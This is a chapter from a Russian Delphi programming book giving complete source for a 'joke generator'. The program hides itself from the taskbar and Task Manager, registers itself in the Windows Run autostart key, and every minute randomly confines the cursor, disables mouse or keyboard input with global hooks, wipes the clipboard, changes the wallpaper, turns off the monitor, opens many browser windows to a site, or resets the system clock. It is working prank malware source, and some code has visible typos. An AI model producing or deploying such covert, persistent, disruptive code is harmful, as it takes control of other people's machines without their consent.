• Постановка задачи
  • Разработка формы
  • Разработка программного кода
  • Шутка №1 — ограничение диапазона движения мыши
  • Шутка №2 — отключение кнопок мыши
  • Шутка №3 — отключение клавиатуры
  • Шутка №4 — очистка буфера обмена
  • Шутка №5 — назначение фона для Рабочего стола
  • Шутка №6 — выбор фона случайным образом
  • Шутка №7 — выключение монитора
  • Шутка №8 — сообщение об ошибке, содержащее "мусор"
  • Шутка №9 — открытие браузера Internet Explorer
  • Шутка №10 — сброс системной даты/времени
  • Полный исходный код модуля
  • Глава 14

    Генератор шуток

    Постановка задачи

    Разработать программу, которая будет работать незаметно для пользователя и периодически выполнять выбранную случайным образом шуточную процедуру или функцию.

    Разработка формы

    Создайте новый проект Delphi. Для того чтобы выполнять периодические действия, нам понадобится компонент Timer категории System. Программа будет выполнять каждую минуту случайно выбранную шутку. Для того чтобы таймер срабатывал каждую минуту, необходимо присвоить свойству Interval значение 60000. Больше никаких свойств ни для формы, ни для таймера изменять не нужно.

    Разработка программного кода

    Первое, что нужно сделать для шуточной программы, — скрыть ее от глаз пользователя. Для этого достаточно создать обработчик события формы OnPaint и добавить в него следующий код:

    procedure TForm1.FormPaint(Sender: TObject);

    begin

     Form1.Hide; //прячем форму

    end;

    Здесь мы при каждой прорисовке формы скрываем ее из виду. При этом она не только будет скрыта визуально, но и исчезнет с панели задач, а также не будет отображаться на вкладке Приложения в диспетчере задач Windows.

    Еще одно важное действие для нашей программы — реализация автозагрузки вместе с запуском ОС. Для этого создайте обработчик события главной формы OnCreate и добавьте в него следующий код:

    procedure TForm1.FormCreate(Sender: TObject);

    var

     reg:TRegistry;//переменная для работы с реестром

     path: string;//содержит путь к нашей программе

    begin

     Randomize; //генератор случайных чисел

     //узнаем путь к программе и ее имя

     path:= Application.EXEname;

     reg:= TRegistry.Create;//открываем реестр

     //ветка текущего пользователя

     reg.RootKey:= HKEY_CURRENT_USER;

     //открываем раздел автозагрузки

     if reg.OpenKey('\Software\Microsoft\Windows\' +

      'CurrentVersion\Run', True)

     then begin

      //записываем ссылку на нашу программу в автозагрузку

      reg.WriteString('Joker', path);

      reg.CloseKey;//закрываем реестр

      reg.Free;//освобождаем память

     end;

    end;

    Чтобы это все работало, необходимо добавить в раздел uses ссылку на модуль Registry. Теперь все готово для создания программных шуток . Сначала объявим все глобальные переменные в разделе var:

    var

     Form1: TForm1;

     //для отключения мыши и клавиатуры

     Dummy: integer = 0;

     OldKbHook: HHook = 0;

     //для снятия копии экрана

     ВМР1: Graphics.TBitmap;

     DC1: HDC;

     Image1: TImage;

     // для поиска случайного рисунка

     fn: TSearchRec;

     Finds: integer;

     i: integer;

     endval: integer;

     err_str: string;//вывод ошибки

     tm: TSystemTime; //изменение времени

     reg: TRegistry; //для работы с реестром

     JokeNum: shortint; //номер шутки, которую следует выполнить

     curs: TRect; //координаты прямоугольника

    Все шутки будут описаны в обработчике события таймера OnTimer.

    Добавьте в этот обработчик следующий код:

    procedure TForm1.Timer1Timer(Sender: TObject);

    begin

     JokeNum:= Random(10) + 1; //Выбираем случайный номер шутки

     case JokeNum of //выполняем шутку

     1: begin

      //код первой шутки

     end;

     2:

     begin

      //код второй шутки

     end;

     3: begin

      //код третьей шутки

     end;

     4: begin

      //код четвертой шутки

     end;

     5: begin

      //код пятой шутки

     end;

     6: begin

      //код шестой шутки

     end;

     7: begin

      //код седьмой шутки

     end;

     8: begin

      //код восьмой шутки

     end;

     9: begin

      //код девятой шутки

     end;

     10: begin

      //код десятой шутки

     end;

     end;

    end;

    Это шаблон для генератора шуток. Здесь выбирается случайное число от 1 до 10, которое будет определять, какую из шуток выполнить на этой минуте. Далее будут представлены фрагменты кода, выполняющие определенные действия, которые следует вставлять вместо комментария в соответствующую ветку конструкции case.

    Шутка №1 — ограничение диапазона движения мыши

    Итак, первая шутка заключается в наложении ограничения на диапазон движения мыши:

    сurs:= Rect(0, 0, Screen.Width div 2, Screen.Height);

    ClipCursor(@curs);

    После этого указатель мыши можно будет перемещать только в одной половине экрана.

    Шутка №2 — отключение кнопок мыши

    Вторая шутка будет более радикальной: используя перехваты функций, отключим кнопки мыши — ни левая, ни правая, ни средняя кнопка не будут выполнять никаких действий. Для этого напишите в разделе implementation следующую функцию:

    function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;

    begin

     if code < 0 then

      Result:= CallNextHookEx(oldKbHook, code, wparam, lparam)

     else

      Result:= 1;

    end;

    После этого напишите код для второй шутки:

    SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy,0);

    SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

    OldKbHook:= SetWindowsHookEx(WH_mouse, @KbHook, HInstance, 0);

    После этого ни одна из кнопок мыши функционировать не будет.

    Шутка №3 — отключение клавиатуры

    Используя функцию для отключения мыши, можно написать код для отключения клавиатуры. Напишите такой код для третьей шутки:

    SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy, 0);

    SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

    OldKbHook:= SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0);

    Здесь вызывается та же функция, только вместо параметра WH_MOUSE ей передается WH_KEYBOARD. После этого клавиши на клавиатуре перестанут функционировать.

    Шутка №4 — очистка буфера обмена

    Четвертая шутка будет очищать буфер обмена и помещать туда собственный текст. Ее код:

    ClipBoard.Open;//открываем буфер обмена

    ClipBoard.Clear;//очищаем буфер обмена

    //Помещаем в буфер обмена свой текст

    Clipboard.asText:= 'Буфер обмена временно не работает!';

    ClipBoard.Close; //закрываем буфер обмена

    Для работы с буфером обмена необходимо добавить в раздел use ссылку на модуль clipbrd.

    Шутка №5 — назначение фона для Рабочего стола

    Пятая шутка будет делать копию экрана, сохранять этот рисунок, а затем назначать его в качестве фона для Рабочего стола. Вначале в разделе implementation напишем процедуру SetWallpaper, которая будет устанавливать фоновый рисунок:

    procedure SetWallpaper(sWallpaperBMPPath: String; bTile: boolean);

    begin

     reg:= TRegistry.Create;

     reg.RootKey:= hkey_current_user;

     if reg.OpenKey('Control Panel\Desktop', True) then

      reg.WriteString('Wallpaper', sWallpaperBMPPath); {ключ содержащий путь к bmp-файлу}

     //растянуть рисунок на весь экран

     reg.WriteString('TileWallpaper', '1');

     with reg do begin

      WriteString('Wallpaper', sWallpaperBMPPath);

      if bTile then begin

       WriteString('TileWallpaper', '1');

      end

      else begin

       WriteString('TileWallpaper', '0');

      end;

     end;

     reg.Free;

     SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil, SPIF_SENDWININICHANGE);

    end;

    Информацию о фоновом рисунке Рабочего стола можно найти в реестре в ветке HKEY_CURRENT_USER по пути \Control Panel\Desktop. Параметр, содержащий название рисунка, называется wallpaper. То есть, для того чтобы сменить "обои" нам необходимо изменить значение параметра wallpaper и оповестить систему о том, что были внесены изменения в реестр. Последняя строка самая важная — она обновляет системные настройки.

    Функция SystemParametersInfo имеет следующие параметры:

    • действие, которое необходимо выполнить (в нашем случае SPI_SETDESKWALLPAPER — установка обоев);

    • зависит от значения первого параметра;

    • в нашем случае — путь к файлу с рисунком;

    • в последнем параметре указывается, что необходимо сделать по сле выполнения всех действий. В данном случае мы должны обновить настройки системы — для этого выбираем SPIF_SENDWININICHANGE.

    Код шутки в обработчике события таймера имеет следующий вид:

    ВМР1:= Graphics.TBitmap.Create;

    //задаем размеры рисунка такие же,как размеры экрана

    BMP1.Height:= Screen.Height;

    BMP1.Width:= Screen.Width;

    DC1:=GetDC(0);

    //Делаем копию экрана

    BitBlt(BMP1.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DC1, 0, 0, SRCCOPY);

    Form1.Visible:= True;//восстанавливаем окно нашей программы

    Image1:= TImage.Create(nil);

    BMP1.IgnorePalette:= True;

    Image1.Picture.Assign(BMP1);

    BMP1.SaveToFile('с:\1.bmp'); //сохраняем снимок в файл 1.bmp

    SetWallpaper('с:\1.bmp', False); //назначаем снимок, как фон

    Repaint; //обновляем

    Здесь мы делаем копию экрана, сохраняем ее в файл и, вызывая процедуру SetWallPaper, назначаем в качестве фона Рабочего стола.

    Шутка №6 — выбор фона случайным образом

    Раз уж мы написали процедуру, которая устанавливает фоновый рисунок, почему бы не использовать ее в нашей следующей шутке?

    Шестая шутка будет заключаться в том, чтобы выбрать случайным образом рисунок из каталога Windows и сделать его фоновым:

    endval:= Random(10) + 5; //для случайности выбора рисунка

    //ищем все файлы с расширением *.bmp в каталоге Windows

    Finds:= FindFirst('С:\Windows\*.bmp', faAnyFile, fn);

    Finds:= Random(2); //случайное число, 0 или 1

    //если выпала 1, то устанавливаем первый попавшийся рисунок

    if Finds = 1 then SetWallpaper(fn.Name, False);

    if Finds = 0 then begin //иначе…

     for i:=1 to endval do begin

      Finds:= FindNext(fn); // …ищем другие рисунки

      //выбираем любой другой рисунок и делаем его фоновым

      if i = endval – 3 then SetWallpaper(fn.Name, False);

     end;

    end;

    FindClose(fn); //завершаем поиск

    Здесь мы перебираем все рисунки в каталоге Windows и случайным образом выбираем один из них в качестве фонового. Затем мы устанавливаем фон с помощью ранее созданной процедуры SetWallpaper.

    Шутка №7 — выключение монитора

    Седьмая шутка будет выключать монитор. Для этого достаточно написать одну строку кода:

    SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);

    Шутка №8 — сообщение об ошибке, содержащее "мусор"

    Восьмая шутка будет выводить сообщение об ошибке, но не простое, а содержащее огромное количество случайных чисел. Код этой шутки:

    for i:=1 to 200 do begin

     case i of

     //после каждого 25-го числа – перенос на новую строку

     25,50,75,100,125,150,175,199: err_str:= err_str + #13#10;

     end;

     //текст "ошибки"

     err_str:= err_str + IntToStr(Random(99999));

    end;

    MessageDlg(errstr, mtError, [mbOk], 0); //выводим сообщение

    В цикле от 1 до 200 выбирается случайное число от 0 до 99999. Все числа преобразовываются к символьному виду и добавляются к строковой переменной errstr. На каждом 25-м числе происходит перенос строки. В результате выдается примерно такое сообщение об "ошибке" как на рис. 14.1.


    Рис. 14.1. Сообщение об "ошибке"

    Шутка №9 — открытие браузера Internet Explorer

    В девятой шутке мы будем открывать несколько (от 5 до 15) окон браузера Internet Explorer с попыткой зайти на сайт www.heel.nm.ru.

    Код этой шутки:

    for i:=1 to Random(10)+ 5 do //случайное число от 5 до 15.

     ShellExecute(0, 'open', 'C:\Program Files\lnternet Explorer\' +

      'IEXPLORE.EXE', 'www.heel.nm.ru', 0, SW_MAXIMIZE);

    Чтобы использовать функцию ShellExecute, необходимо добавить в раздел uses ссылку на модуль ShellApi.

    Шутка №10 — сброс системной даты/времени

    Последняя, десятая шутка будет устанавливать текущую дату 01.01.2000, и изменять текущее время на 00:00:01. Код этой шутки:

    GetLocalTime(tm); //узнаем текущую дату и время

    tm.wYear:= 2000; //устанавливаем год

    tm.wMonth:= 01; //месяц

    tm.wDay:= 01; //день

    tm.wHour:= 0; //часы

    tm.wMinute:= 0; //минуты

    tm.wSecond := 1; //секунды

    tm.wMilliseconds := 0; //мс

    SetLocalTime(tm); //устанавливаем новую дату и время

    Полный исходный код модуля

    Полный код программного модуля генератора шуток представлен в листинге 14.1.

    Листинг 14.1. Программный модуль генератора шуток

    unit Unit1;


    interface


    uses

     Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, Registry, clipbrd, ShellApi;


    type

     TForm1 = class(TForm)

     Timer1: TTimer;

     procedure Timer1Timer(Sender: TObject);

     procedure FormPaint(Sender: TObject);

     procedure FormCreate(Sender: TObject);

    private

     { Private declarations }

    public

     { Public declarations }

    end;


    var

     Form1: TForm1;

     //для отключения мыши и клавиатуры

     Dummy: integer = 0;

     OldKbHook: HHook = 0;

     //для снятия копии экрана

     ВМР1: Graphics.TBitmap;

     DC1: HDC;

     Image1: TImage;

     // для поиска случайного рисунка

     fn: TSearchRec;

     Finds: integer;

     i: integer;

     endval: integer;

     err_str: string;//вывод ошибки

     tm: TSystemTime; //изменение времени

     reg: TRegistry; //для работы с реестром

     JokeNum: shortint; //номер шутки, которую следует выполнить

     curs: TRect; //координаты прямоугольника


    implementation


    procedure SetWallpaper(sWallpaperBMPPath: String; bTile: boolean);

    begin

     reg:= TRegistry.Create;

     reg.RootKey:= hkey_current_user;

     if reg.OpenKey('Control Panel\Desktop', True) then

      reg.WriteString('Wallpaper', sWallpaperBMPPath); {ключ содержащий путь к bmp-файлу}

     //растянуть рисунок на весь экран

     reg.WriteString('TileWallpaper', '1');

     with reg do begin

      WriteString('Wallpaper', sWallpaperBMPPath);

      if bTile then begin

       WriteString('TileWallpaper', '1');

      end

      else begin

       WriteString('TileWallpaper', '0');

      end;

     end;

     reg.Free;

     SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil, SPIF_SENDWININICHANGE);

    end;


    function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;

    begin

     if code < 0 then

      Result:= CallNextHookEx(oldKbHook, code, wparam, lparam)

     else

      Result:= 1;

    end;


    {$R *.dfm}


    procedure TForm1.Timer1Timer(Sender: TObject);

    var

     JokeNum: shortint;

     curs: TRect;

    begin

     JokeNum:= Random(10) + 1;

     case JokeNum of

      1: begin //Уменьшить диапазон движения мыши

       curs := Rect(0, 0, Screen.Width div 2,Screen.Height);

       ClipCursor(Scurs);

      end;

      2: begin //Отключить мышь

      SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy,0);

      SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

      OldKbHook:= SetWindowsHookEx(WH_mouse, @KbHook, HInstance, 0);

      end;

      3: begin //отключить клавиатуру

       SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy, 0);

       SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

       OldKbHook:= SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0);

      end;

      4: begin //Очистить буфер обмена

       ClipBoard.Open;//открываем буфер обмена

       ClipBoard.Clear;//очищаем буфер обмена

       //Помещаем в буфер обмена свой текст

       Clipboard.asText:= 'Буфер обмена временно не работает!';

       ClipBoard.Close; //закрываем буфер обмена

      end;

      5: begin // сделать копию экрана и назначить её фоном

       ВМР1:= Graphics.TBitmap.Create;

       //задаем размеры рисунка такие же,как размеры экрана

       BMP1.Height:= Screen.Height;

       BMP1.Width:= Screen.Width;

       DC1:=GetDC(0);

       //Делаем копию экрана

       BitBlt(BMP1.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DC1, 0, 0, SRCCOPY);

       Form1.Visible:= True;//восстанавливаем окно нашей программы

       Image1:= TImage.Create(nil);

       BMP1.IgnorePalette:= True;

       Image1.Picture.Assign(BMP1);

       BMP1.SaveToFile('с:\1.bmp'); //сохраняем снимок в файл 1.bmp

       SetWallpaper('с:\1.bmp', False); //назначаем снимок, как фон

       Repaint; //обновляем

      end;

      6: begin // Найти случайный рисунок и сделать его фоновым

       endval:= Random(10) + 5; //для случайности выбора рисунка

       //ищем все файлы с расширением *.bmp в каталоге Windows

       Finds:= FindFirst('С:\Windows\*.bmp', faAnyFile, fn);

       Finds:= Random(2); //случайное число, 0 или 1

       //если выпала 1, то устанавливаем первый попавшийся рисунок

       if Finds = 1 then SetWallpaper(fn.Name, False);

       if Finds = 0 then begin //иначе…

        for i:=1 to endval do begin

         Finds:= FindNext(fn); // …ищем другие рисунки

         //выбираем любой другой рисунок и делаем его фоновым

         if i = endval – 3 then SetWallpaper(fn.Name, False);

        end;

       end;

       FindClose(fn); //завершаем поиск

      end;

      7: begin //Выключить монитор

       SendMessage(Application.Handle, WM_SYSCOMMAND,
    SC_MONITORPOWER, 1);

      end;

      8: begin //Сообщение об "ошибке"

       for i:=1 to 200 do begin

        case i of

        //после каждого 25-го числа – перенос на новую строку

        25,50,75,100,125,150,175,199: err_str:= err_str + #13#10;

        end;

        //текст "ошибки"

        err_str:= err_str + IntToStr(Random(99999));

       end;

       MessageDlg(errstr, mtError, [mbOk], 0); //выводим сообщение

      end;

      9: begin //Запуск Internet Explorer

       for i:=1 to Random(10)+ 5 do //случайное число от 5 до 15.

        ShellExecute(0, 'open', 'C:\Program Files\lnternet Explorer\' +

         'IEXPLORE.EXE', 'www.heel.nm.ru', 0, SW_MAXIMIZE);

      end;

     10: begin //Перевести время

       GetLocalTime(tm); //узнаем текущую дату и время

       tm.wYear:= 2000; //устанавливаем год

       tm.wMonth:= 01; //месяц

       tm.wDay:= 01; //день

       tm.wHour:= 0; //часы

       tm.wMinute:= 0; //минуты

       tm.wSecond := 1; //секунды

       tm.wMilliseconds := 0; //мс

       SetLocalTime(tm); //устанавливаем новую дату и время

      end;

     end;

    end;


    procedure TForm1.FormPaint(Sender: TObject);

    begin

     Form1.Hide; //прячем форму

    end;


    procedure TForm1.FormCreate(Sender: TObject);

    var

     reg:TRegistry;//переменная для работы с реестром

     path: string;//содержит путь к нашей программе

    begin

     Randomize; //генератор случайных чисел

     //узнаем путь к программе и ее имя

     path:= Application.EXEname;

     reg:= TRegistry.Create;//открываем реестр

     //ветка текущего пользователя

     reg.RootKey:= HKEY_CURRENT_USER;

     //открываем раздел автозагрузки

     if reg.OpenKey('\Software\Microsoft\Windows\' +

      'CurrentVersion\Run', True)

     then begin

      //записываем ссылку на нашу программу в автозагрузку

      reg.WriteString('Joker', path);

      reg.CloseKey;//закрываем реестр

      reg.Free;//освобождаем память

     end;

    end;


    end.

    ⊚ Все файлы проекта и исполняемый файл рассмотренной программы находятся на прилагаемом к книге компакт-диске в папке Chapter_14.







     


    Главная | В избранное | Наш E-MAIL | Добавить материал | Нашёл ошибку | Наверх